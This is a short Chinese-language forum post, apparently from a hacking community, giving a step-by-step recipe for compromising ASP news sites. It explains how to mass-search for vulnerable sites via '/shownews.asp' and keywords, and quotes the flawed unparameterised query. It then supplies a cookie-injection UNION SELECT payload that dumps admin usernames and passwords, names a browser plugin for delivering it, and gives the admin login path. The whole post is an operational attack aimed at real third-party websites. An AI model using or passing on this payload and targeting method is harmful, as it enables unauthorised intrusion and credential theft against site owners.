大家用挖掘鸡 添加后缀“/shownews.asp” 关键字为：“企业邮局 联系我们 繁体中文”搜索吧
搜到的都有漏洞，然后利用cookie注入直接得到管理员用户名和秘密
漏洞出在
<%owen=request("id")%>
sql="select * from news where id="&owen

cookie注入时 cookie名称：id
cookie属性：-1 union select 1,username,password,4,5,6,7,8,9,10 from admin
最好用GreenBrowser，因为它有个javaScript Cookier 插件。。

差点忘了，后台地址为：http://www.***.com/admin/login.asp